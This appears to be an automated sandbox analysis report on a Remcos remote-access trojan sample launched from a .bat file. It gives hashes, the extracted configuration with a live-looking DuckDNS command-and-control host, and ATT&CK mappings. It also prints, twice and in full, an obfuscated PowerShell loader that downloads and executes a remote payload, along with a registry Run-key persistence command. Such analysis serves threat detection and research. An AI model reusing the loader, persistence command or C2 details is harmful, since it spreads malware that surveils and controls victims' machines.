remcos | a60dbbe88a1c4857f009a3c06a2641332d41dfd89726dd5f2c6e500f7b25b751

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-10-2024 13:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SMX-0002607-1-2024-UP-3762.bat
Size

5KB
MD5

23d982d0c7540551e840392de11571ae
SHA1

8cae67ab610dab59bf722ef2c1db09038e5a712d
SHA256

e5ebe4d8925853fc1f233a5a6f7aa29fd8a7fa3a8ad27471c7d525a70f4461b6
SHA512

f14b081fccbb2db1021aa03c5033ec59e22650a439eb5097eca4a7dce52035c06ab6d454eca95778fafcc6fd35de699182b380d12ace9420153e5cad8b5298f4
SSDEEP

96:AyZFysox3pf4I8GJqS+Pwx5oDf9uS5sKXyKf6adkNqTSN/pk44RFw6ABZ6hdpsSB:AQoxZ2GgZq5oDg6FXjf6aTYoIBAhj36y

Score

10^/10

remcos remotehost discovery execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

iniiivan.duckdns.org:53848

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-G9FJB6
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 64 IoCs

flow	pid	Process
9	3040	powershell.exe
47	1572	msiexec.exe
49	1572	msiexec.exe
52	1572	msiexec.exe
53	1572	msiexec.exe
55	1572	msiexec.exe
56	1572	msiexec.exe
57	1572	msiexec.exe
58	1572	msiexec.exe
59	1572	msiexec.exe
60	1572	msiexec.exe
61	1572	msiexec.exe
62	1572	msiexec.exe
63	1572	msiexec.exe
64	1572	msiexec.exe
65	1572	msiexec.exe
66	1572	msiexec.exe
67	1572	msiexec.exe
68	1572	msiexec.exe
69	1572	msiexec.exe
70	1572	msiexec.exe
71	1572	msiexec.exe
72	1572	msiexec.exe
75	1572	msiexec.exe
76	1572	msiexec.exe
79	1572	msiexec.exe
80	1572	msiexec.exe
81	1572	msiexec.exe
82	1572	msiexec.exe
83	1572	msiexec.exe
84	1572	msiexec.exe
87	1572	msiexec.exe
88	1572	msiexec.exe
89	1572	msiexec.exe
90	1572	msiexec.exe
91	1572	msiexec.exe
92	1572	msiexec.exe
93	1572	msiexec.exe
94	1572	msiexec.exe
95	1572	msiexec.exe
96	1572	msiexec.exe
97	1572	msiexec.exe
98	1572	msiexec.exe
99	1572	msiexec.exe
100	1572	msiexec.exe
101	1572	msiexec.exe
105	1572	msiexec.exe
108	1572	msiexec.exe
110	1572	msiexec.exe
112	1572	msiexec.exe
113	1572	msiexec.exe
114	1572	msiexec.exe
115	1572	msiexec.exe
116	1572	msiexec.exe
117	1572	msiexec.exe
128	1572	msiexec.exe
129	1572	msiexec.exe
130	1572	msiexec.exe
131	1572	msiexec.exe
132	1572	msiexec.exe
133	1572	msiexec.exe
134	1572	msiexec.exe
135	1572	msiexec.exe
136	1572	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3040	powershell.exe
4344	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\humplers = "%Frenetic% -windowstyle 1 $Overrankness=(gp -Path 'HKCU:\\Software\\Procentangivelses\\').Mannas;%Frenetic% ($Overrankness)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1572	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4344	powershell.exe
1572	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2848	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3040	powershell.exe
3040	powershell.exe
4344	powershell.exe
4344	powershell.exe
4344	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4344	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	4344	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1572	msiexec.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1256 wrote to memory of 3040	1256	cmd.exe	85
PID 1256 wrote to memory of 3040	1256	cmd.exe	85
PID 4344 wrote to memory of 1572	4344	powershell.exe	99
PID 4344 wrote to memory of 1572	4344	powershell.exe	99
PID 4344 wrote to memory of 1572	4344	powershell.exe	99
PID 4344 wrote to memory of 1572	4344	powershell.exe	99
PID 1572 wrote to memory of 560	1572	msiexec.exe	102
PID 1572 wrote to memory of 560	1572	msiexec.exe	102
PID 1572 wrote to memory of 560	1572	msiexec.exe	102
PID 560 wrote to memory of 2848	560	cmd.exe	104
PID 560 wrote to memory of 2848	560	cmd.exe	104
PID 560 wrote to memory of 2848	560	cmd.exe	104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SMX-0002607-1-2024-UP-3762.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden " <#Sweetshop Forprogrammere Bevidstlse #>;$Billetkontoret='hovedngles';<#hygroscopically Borgerliggr Torpets Unclassified Blokvognens #>;$Psykes=$sulfate+$host.UI;function Boendes($Motorisere){If ($Psykes) {$Unpictorialised++;}$Aarskiftet=$genindkaldte+$Motorisere.'Length'-$Unpictorialised; for( $Herregaardene131=4;$Herregaardene131 -lt $Aarskiftet;$Herregaardene131+=5){$Pyramidia++;$Foredevote+=$Motorisere[$Herregaardene131];$Riskfulness='Oprejses';}$Foredevote;}function Aromastofs($Oversigtsbilleders173){ & ($Fandangoer) ($Oversigtsbilleders173);}$Kolonialvares=Boendes 'LaggMHjelo D lz dreiUnsilMat lTa fa F e/Forb ';$Kolonialvares+=Boendes 'S ks5Bran. Pr 0Bede Topi(Fl bWK.ldiMadenbeard,uako TomwMarrsVis JerkN UdaT kov oss1Agra0T nn.besk0bio ;Feri .aphWNobbiRumln Feu6Pick4Ansv;Nord Hen xBirk6 Afs4sk d;,oss OffrKrydvDomm:Spr 1Sm g3Uud,1A ti. lmu0Calo) Si Man G askeHjercde.ak ssioUdsm/ Rot2Depo0Verb1Erot0Elec0Spar1,iks0 Kun1Jord PreFYeariRe orShreeS orfOct,oFarax Ri /Supe1Mail3Lap 1Pyxi.Sawn0Tyre ';$Sparebsserne=Boendes ' CoeuR mmSMatlE Br rVo,d-U,faaKon.gBrn.EForsnDolkt kva ';$Cafuso=Boendes 'Cho,hPytot,uttt A dp V,tsSmle:mode/ C,u/St ecLamiaSc irfraneSesue yhrGodsfHjemi KunnDecrdlivre OutrSnek. IderOrbio .av/Mngdv pndn Ko,/Juk T Pr rT,keaW,stuNsker,ackiRes.gDis hSpaaeBem.d PoleCalfr Bas.ProcsHeineTranaAmin ';$Luncher=Boendes 'R ck>Vi,t ';$Fandangoer=Boendes 'HanhIunrueBoniXTemp ';$Ensnarement='Unlabialise167';$Totalisatorers='\Knighting.Pro';Aromastofs (Boendes ' Alg$E phgTinkLBadkOBrugBLayoaIndblBrne:Pr dT BatRBa keIspim N,nmSkumePrigspseutUd ao udfL,rouECu tnpas,ehals=Pala$Decie BebnLaarVCart:Rou,aChilp ampDri.DSikkaF.intAdm.AAn.i+Scud$,atat,wkwoRekttGaleAHardLBasiI Li S .tyAEquiTStosO.chorafstEVoveRSlidSOver ');Aromastofs (Boendes 'Venc$ XylgSlicLCo doVietb Pr.ADe sLPrst:UndepLordo Mi tJordASke sDynasVak.iElemFSheeEBrutRTr noSkitUAlcaS Kon=Folk$ entcTrapaSammfDy eUGuatsRovso ksp.Hu vsInseP ImplCollIRacetJ,ds(Dsl,$ Ug.l Z ru.ypeNFortc RgthN veESbeoRMed ) Soc ');Aromastofs (Boendes ' For[EmbenIsbjEtr ntrun .G nesFredEKaffRFir VLilliWaffc uefEHl np Lono l einasiNNonptKeycmExteA ByonFedeAMi rg ReiESu erkamp]Dis :Infe: ForsTrykEE,orCUnimu S irNontIKluntAtr yFejlpForor FroOAktutplotOH veC ilkOLoupLNonc Svk=Acep Lae[SturNDrage Va TT.le. Sk SMu feSlvecShr uSeleR bevI DdktTriryInwep TchrOverO ooptAizoo usCTargO,ettLLiteTNonpYArbepTyvee O,e]Tros:Tank:.enetKneblsomeS rti1dict2Well ');$Cafuso=$Potassiferous[0];$Kvatorialguineaner=(Boendes 'st.k$Vin GVrngl.toloMo,ebOv yA VoyLCoun:HestU.altn MaiE Ru vPi ta TouNBroke ouis u.gCYanaEStr,NAquaTRedrL NotYMel.=konsn ampeN tuwGuls- A.kOCivibAkkrjConfE Pa c U.dTCcdc SnkeSKekcYUrimsBalatAfdaEFlaaM Ach. osn preE Drat Sk .Wardw ExcEGangBAllecCro lfrisIInteeAnmen UndTmaan ');Aromastofs ($Kvatorialguineaner);Aromastofs (Boendes 'Fors$ RebU SpanAcineamfev MinaTeernRegieJulos onecpheneDecln ButtoverlTilsyUnh.. dskHLegieVoldaSpild iljeBetwrU absPlod[ ata$KlisSPaatpPrevaFr dr nvieHeteb aassIntesMulieI terSpinnVejeeTemp]Tord= Nit$UdviKOm aoBak lSk noHys.nSpiniBactaJehul UnpvPersaPater.chwerealsSoc, ');$Styklistens=Boendes ' ece$ Ou,URetanRenye Dicvme eaTarsn S eedispsGeldcIst eMadanTypet polIgn yLast. MasDHelaoSuprw umvnExoclTja o S.na RitdP,ykFHuf iPipelSwaneReg ( Nyf$UndsC ,ftaGodtf yctu .onsBackoCom,,Stri$ OraBHimmiDyregHavrePresm,rlsi ipnTykka Sp l ubl)Nonc ';$Bigeminal=$Tremmestolene;Aromastofs (Boendes 'Fl x$ TragSqualSpruO,sombDi.ea olalVaag: OdyFBlaslIndey HyrGGrsktSli.nsy.tiGlobnForbGItoie ommnDagnETrve= Exs(N ntTRetle asksTa sTSto -Spi,pFrysAI teTDiscHCirr U rk$CantbCho iInteGletveU,ilMKlveI ndNKentaUndeL Sta).ort ');while (!$Flygtningene) {Aromastofs (Boendes 'Tisk$WiwigSur l,ganoUnweb ffaaStaml Fok:SandMcockaQu nl EksiShaic mbai.egaoAb.ouEm rsD gsnNe,seFyris errs,yre1 Cal7Ch.s1 Non=Mach$SiamtE ferUndeu.ande .en ') ;Aromastofs $Styklistens;Aromastofs (Boendes ' UnlSRopeT P laMaryrAfklTRita-GeneSAfislBadeeOrchE merPVefr .eie4Inex ');Aromastofs (Boendes 'Frsk$Ma tgIntelIse,orideBRe mASma l.iau:MetrfProbLTab.YBonigImplTarbeNAftvi nuqnUndogR.une OvenTestEDruk=s.ns(teartMotoe Af SRa bT lac-UnwapErwiA SubT ishBrne Hund$Kl nBa ipIUntuGtideEAf.vM ,elIB.mbNRetrAbabyLGear)inso ') ;Aromastofs (Boendes 'Slug$ SjagGrahLDdsfORe.obBe.iAPrefLRdst:V,ntMTri iFlagKivieRVi eoFrikpEngeRSeleOUnfuC SpieForbs ChesKu.loPerfRSu rE EpirPharNQuiteEjec=tusk$P ntGsik.l omio GodbDiaga BralUnr :VesptTr kiPacec irecC,amhPiraEcrafNGalo+lic,+Nonv%Disu$VentpDowlOSyritLixiA tesFe iSBredIrivefBr.beTrolrmgleOGi.tuOpvas Blu.Roe cChemO kn,uBowlNRi sT fly ') ;$Cafuso=$Potassiferous[$Mikroprocessorerne];}$holding=324537;$Sevrdigheders=29555;Aromastofs (Boendes ' S y$ InsGrab lMegao web Na,aOuttlFort:KonsOZoopVKilueAlber ThigKnivUVi gnHe p Reva=St,k rregDo.nEHegntPlan-Pra,cLoddononsNBedetEftee RannDip,T For Kloa$ RugbUro iEgneGI,dreordem BesiFi,dnSuppaUns l ucr ');Aromastofs (Boendes 'Sick$,rndgDunklMah o SurbStrmaGattl ske:OrthBPrydaNor,kFi.at m ceMikrrMaltiEve,eUrtikHet,u Vaml OvetSensuEv lr VicsUrli Milj=Coun Disk[ArabSCoacy QuisShogta ine H,vmStri.Po.tCfordo ossnSpo vIc sety.irApokt ine] oi: avo:.sehFSprorVirkoPud mDup,BSeksaDians A oeBefa6P od4RecoSHe,etVi.irU dei B pnBihegUnsa(Ting$BoroOSki,v Ar.eLongrV ctgPe.ruRektn Vik).nse ');Aromastofs (Boendes 'Form$Sa ag,tomLDrifo SatBArgua aniL ost: ladtacloRPol.aTavsNL pps FoleC.taN Apon aboa eug Unse=Skat U dl[KaffsLumiYFjorsp.ast,olmeuplim ns.PtomtDet EJes X B.kTBill.OmarEObsenNodoC oruoMa kDSelvI SkrNP.osgFrot]Vejk: Min:St.fAGemmsFordCNeglIDopiiKr.e.Bar gcomie ljlTKo mSTermtCoxrRMagyIEnc nAnsog Emp(Skat$tronbOpbyA HonkrebntMaaleSelvRbevaIVierE ubkCh.nuT gelSepeTP.rtuUdmerGemeskolo) Sik ');Aromastofs (Boendes ' D m$ByggGSeculTranO tanBLrreAS.orL Sca:LagenOverOHkliN voGS ara FiglpaedaPrelCDevet hai olicClos=Mais$stroT Ek R AthA Snon ProSDecoeDelinTenoNNgs aScab.Rapas ildUTh ubDrifsSireTServr jtsis btNBillGbeky(Anbe$ RephskabO VanLDekoD R pi T kn M lG,ebr,Brmm$Sto sGloreAfbivakt R AutdScuti,quiGVoldhS preEsprdPateePneurSkibsShin)Vaab ');Aromastofs $Nongalactic;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3040

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Sweetshop Forprogrammere Bevidstlse #>;$Billetkontoret='hovedngles';<#hygroscopically Borgerliggr Torpets Unclassified Blokvognens #>;$Psykes=$sulfate+$host.UI;function Boendes($Motorisere){If ($Psykes) {$Unpictorialised++;}$Aarskiftet=$genindkaldte+$Motorisere.'Length'-$Unpictorialised; for( $Herregaardene131=4;$Herregaardene131 -lt $Aarskiftet;$Herregaardene131+=5){$Pyramidia++;$Foredevote+=$Motorisere[$Herregaardene131];$Riskfulness='Oprejses';}$Foredevote;}function Aromastofs($Oversigtsbilleders173){ & ($Fandangoer) ($Oversigtsbilleders173);}$Kolonialvares=Boendes 'LaggMHjelo D lz dreiUnsilMat lTa fa F e/Forb ';$Kolonialvares+=Boendes 'S ks5Bran. Pr 0Bede Topi(Fl bWK.ldiMadenbeard,uako TomwMarrsVis JerkN UdaT kov oss1Agra0T nn.besk0bio ;Feri .aphWNobbiRumln Feu6Pick4Ansv;Nord Hen xBirk6 Afs4sk d;,oss OffrKrydvDomm:Spr 1Sm g3Uud,1A ti. lmu0Calo) Si Man G askeHjercde.ak ssioUdsm/ Rot2Depo0Verb1Erot0Elec0Spar1,iks0 Kun1Jord PreFYeariRe orShreeS orfOct,oFarax Ri /Supe1Mail3Lap 1Pyxi.Sawn0Tyre ';$Sparebsserne=Boendes ' CoeuR mmSMatlE Br rVo,d-U,faaKon.gBrn.EForsnDolkt kva ';$Cafuso=Boendes 'Cho,hPytot,uttt A dp V,tsSmle:mode/ C,u/St ecLamiaSc irfraneSesue yhrGodsfHjemi KunnDecrdlivre OutrSnek. IderOrbio .av/Mngdv pndn Ko,/Juk T Pr rT,keaW,stuNsker,ackiRes.gDis hSpaaeBem.d PoleCalfr Bas.ProcsHeineTranaAmin ';$Luncher=Boendes 'R ck>Vi,t ';$Fandangoer=Boendes 'HanhIunrueBoniXTemp ';$Ensnarement='Unlabialise167';$Totalisatorers='\Knighting.Pro';Aromastofs (Boendes ' Alg$E phgTinkLBadkOBrugBLayoaIndblBrne:Pr dT BatRBa keIspim N,nmSkumePrigspseutUd ao udfL,rouECu tnpas,ehals=Pala$Decie BebnLaarVCart:Rou,aChilp ampDri.DSikkaF.intAdm.AAn.i+Scud$,atat,wkwoRekttGaleAHardLBasiI Li S .tyAEquiTStosO.chorafstEVoveRSlidSOver ');Aromastofs (Boendes 'Venc$ XylgSlicLCo doVietb Pr.ADe sLPrst:UndepLordo Mi tJordASke sDynasVak.iElemFSheeEBrutRTr noSkitUAlcaS Kon=Folk$ entcTrapaSammfDy eUGuatsRovso ksp.Hu vsInseP ImplCollIRacetJ,ds(Dsl,$ Ug.l Z ru.ypeNFortc RgthN veESbeoRMed ) Soc ');Aromastofs (Boendes ' For[EmbenIsbjEtr ntrun .G nesFredEKaffRFir VLilliWaffc uefEHl np Lono l einasiNNonptKeycmExteA ByonFedeAMi rg ReiESu erkamp]Dis :Infe: ForsTrykEE,orCUnimu S irNontIKluntAtr yFejlpForor FroOAktutplotOH veC ilkOLoupLNonc Svk=Acep Lae[SturNDrage Va TT.le. Sk SMu feSlvecShr uSeleR bevI DdktTriryInwep TchrOverO ooptAizoo usCTargO,ettLLiteTNonpYArbepTyvee O,e]Tros:Tank:.enetKneblsomeS rti1dict2Well ');$Cafuso=$Potassiferous[0];$Kvatorialguineaner=(Boendes 'st.k$Vin GVrngl.toloMo,ebOv yA VoyLCoun:HestU.altn MaiE Ru vPi ta TouNBroke ouis u.gCYanaEStr,NAquaTRedrL NotYMel.=konsn ampeN tuwGuls- A.kOCivibAkkrjConfE Pa c U.dTCcdc SnkeSKekcYUrimsBalatAfdaEFlaaM Ach. osn preE Drat Sk .Wardw ExcEGangBAllecCro lfrisIInteeAnmen UndTmaan ');Aromastofs ($Kvatorialguineaner);Aromastofs (Boendes 'Fors$ RebU SpanAcineamfev MinaTeernRegieJulos onecpheneDecln ButtoverlTilsyUnh.. dskHLegieVoldaSpild iljeBetwrU absPlod[ ata$KlisSPaatpPrevaFr dr nvieHeteb aassIntesMulieI terSpinnVejeeTemp]Tord= Nit$UdviKOm aoBak lSk noHys.nSpiniBactaJehul UnpvPersaPater.chwerealsSoc, ');$Styklistens=Boendes ' ece$ Ou,URetanRenye Dicvme eaTarsn S eedispsGeldcIst eMadanTypet polIgn yLast. MasDHelaoSuprw umvnExoclTja o S.na RitdP,ykFHuf iPipelSwaneReg ( Nyf$UndsC ,ftaGodtf yctu .onsBackoCom,,Stri$ OraBHimmiDyregHavrePresm,rlsi ipnTykka Sp l ubl)Nonc ';$Bigeminal=$Tremmestolene;Aromastofs (Boendes 'Fl x$ TragSqualSpruO,sombDi.ea olalVaag: OdyFBlaslIndey HyrGGrsktSli.nsy.tiGlobnForbGItoie ommnDagnETrve= Exs(N ntTRetle asksTa sTSto -Spi,pFrysAI teTDiscHCirr U rk$CantbCho iInteGletveU,ilMKlveI ndNKentaUndeL Sta).ort ');while (!$Flygtningene) {Aromastofs (Boendes 'Tisk$WiwigSur l,ganoUnweb ffaaStaml Fok:SandMcockaQu nl EksiShaic mbai.egaoAb.ouEm rsD gsnNe,seFyris errs,yre1 Cal7Ch.s1 Non=Mach$SiamtE ferUndeu.ande .en ') ;Aromastofs $Styklistens;Aromastofs (Boendes ' UnlSRopeT P laMaryrAfklTRita-GeneSAfislBadeeOrchE merPVefr .eie4Inex ');Aromastofs (Boendes 'Frsk$Ma tgIntelIse,orideBRe mASma l.iau:MetrfProbLTab.YBonigImplTarbeNAftvi nuqnUndogR.une OvenTestEDruk=s.ns(teartMotoe Af SRa bT lac-UnwapErwiA SubT ishBrne Hund$Kl nBa ipIUntuGtideEAf.vM ,elIB.mbNRetrAbabyLGear)inso ') ;Aromastofs (Boendes 'Slug$ SjagGrahLDdsfORe.obBe.iAPrefLRdst:V,ntMTri iFlagKivieRVi eoFrikpEngeRSeleOUnfuC SpieForbs ChesKu.loPerfRSu rE EpirPharNQuiteEjec=tusk$P ntGsik.l omio GodbDiaga BralUnr :VesptTr kiPacec irecC,amhPiraEcrafNGalo+lic,+Nonv%Disu$VentpDowlOSyritLixiA tesFe iSBredIrivefBr.beTrolrmgleOGi.tuOpvas Blu.Roe cChemO kn,uBowlNRi sT fly ') ;$Cafuso=$Potassiferous[$Mikroprocessorerne];}$holding=324537;$Sevrdigheders=29555;Aromastofs (Boendes ' S y$ InsGrab lMegao web Na,aOuttlFort:KonsOZoopVKilueAlber ThigKnivUVi gnHe p Reva=St,k rregDo.nEHegntPlan-Pra,cLoddononsNBedetEftee RannDip,T For Kloa$ RugbUro iEgneGI,dreordem BesiFi,dnSuppaUns l ucr ');Aromastofs (Boendes 'Sick$,rndgDunklMah o SurbStrmaGattl ske:OrthBPrydaNor,kFi.at m ceMikrrMaltiEve,eUrtikHet,u Vaml OvetSensuEv lr VicsUrli Milj=Coun Disk[ArabSCoacy QuisShogta ine H,vmStri.Po.tCfordo ossnSpo vIc sety.irApokt ine] oi: avo:.sehFSprorVirkoPud mDup,BSeksaDians A oeBefa6P od4RecoSHe,etVi.irU dei B pnBihegUnsa(Ting$BoroOSki,v Ar.eLongrV ctgPe.ruRektn Vik).nse ');Aromastofs (Boendes 'Form$Sa ag,tomLDrifo SatBArgua aniL ost: ladtacloRPol.aTavsNL pps FoleC.taN Apon aboa eug Unse=Skat U dl[KaffsLumiYFjorsp.ast,olmeuplim ns.PtomtDet EJes X B.kTBill.OmarEObsenNodoC oruoMa kDSelvI SkrNP.osgFrot]Vejk: Min:St.fAGemmsFordCNeglIDopiiKr.e.Bar gcomie ljlTKo mSTermtCoxrRMagyIEnc nAnsog Emp(Skat$tronbOpbyA HonkrebntMaaleSelvRbevaIVierE ubkCh.nuT gelSepeTP.rtuUdmerGemeskolo) Sik ');Aromastofs (Boendes ' D m$ByggGSeculTranO tanBLrreAS.orL Sca:LagenOverOHkliN voGS ara FiglpaedaPrelCDevet hai olicClos=Mais$stroT Ek R AthA Snon ProSDecoeDelinTenoNNgs aScab.Rapas ildUTh ubDrifsSireTServr jtsis btNBillGbeky(Anbe$ RephskabO VanLDekoD R pi T kn M lG,ebr,Brmm$Sto sGloreAfbivakt R AutdScuti,quiGVoldhS preEsprdPateePneurSkibsShin)Vaab ');Aromastofs $Nongalactic;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4344
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1572
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "humplers" /t REG_EXPAND_SZ /d "%Frenetic% -windowstyle 1 $Overrankness=(gp -Path 'HKCU:\Software\Procentangivelses\').Mannas;%Frenetic% ($Overrankness)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:560
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "humplers" /t REG_EXPAND_SZ /d "%Frenetic% -windowstyle 1 $Overrankness=(gp -Path 'HKCU:\Software\Procentangivelses\').Mannas;%Frenetic% ($Overrankness)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
89f251960b1b6b601ea3dbbd47209d9a

SHA1
ad0f7a4c112c001c6a6d2c3e1cad2d755ac3fe57

SHA256
5572262765c77d22968265416cd7bd44a35b84430d9bb486db1b043c386238b6

SHA512
8c56a854757fd2a3977ceb68bc6820d11d32d3a41470a67c7f0bde5c9a5c7428a2e4713ae216bc9341b4c01a4db95dd00c3a58fb5d7977a4871b72c3725d3381

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d1414b301c11e310c55c6fd19b5beeb6

SHA1
a9a8feef8d7bd65cb5a423665f5ca084672c1af8

SHA256
94cb5e8396bc3c3e64e9a9c9cf794a9715148783bb0a91d8c8b77849838df6d0

SHA512
1aecaa226433d392968e7ceec6fcabb625a138af4101c36f67cfe1174c4c1c0112999e4638e91664a6eb6a9b0b62a108e77902baec37ae4b59729ebe04fadda4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rpg3y1qj.bhb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Knighting.Pro

Filesize
461KB

MD5
45a31d507daa8b7547becc027b4eb279

SHA1
2bf357d70917e9b156ab5792623a39a04637f871

SHA256
2cbbfec1a0fefa995b236ed816aa23dc543ab2a76b1c36183a9a263dabcf8eea

SHA512
081019ecdc07a7907c471388caef4cd4e5dd434760ff7a1d84e41a6e3665a0c0b8bbf3797a3526a16aeeff15405694e059c32fda2ddb26cea38ad08f5c492c1e

Download Submit
memory/1572-92-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/1572-83-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/1572-64-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/1572-101-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/1572-98-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/1572-95-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/1572-68-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/1572-89-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/1572-86-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/1572-71-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/1572-80-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/1572-73-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/1572-77-0x0000000000D90000-0x0000000001FE4000-memory.dmp

Filesize
18.3MB

Download
memory/3040-3-0x000002757DC40000-0x000002757DC62000-memory.dmp

Filesize
136KB

Download
memory/3040-13-0x00007FFB99D10000-0x00007FFB9A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-15-0x00007FFB99D10000-0x00007FFB9A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-14-0x00007FFB99D10000-0x00007FFB9A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-20-0x00007FFB99D10000-0x00007FFB9A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-2-0x00007FFB99D13000-0x00007FFB99D15000-memory.dmp

Filesize
8KB

Download
memory/4344-48-0x0000000075350000-0x0000000075B00000-memory.dmp

Filesize
7.7MB

Download
memory/4344-60-0x0000000075350000-0x0000000075B00000-memory.dmp

Filesize
7.7MB

Download
memory/4344-47-0x0000000075350000-0x0000000075B00000-memory.dmp

Filesize
7.7MB

Download
memory/4344-49-0x0000000075350000-0x0000000075B00000-memory.dmp

Filesize
7.7MB

Download
memory/4344-50-0x0000000075350000-0x0000000075B00000-memory.dmp

Filesize
7.7MB

Download
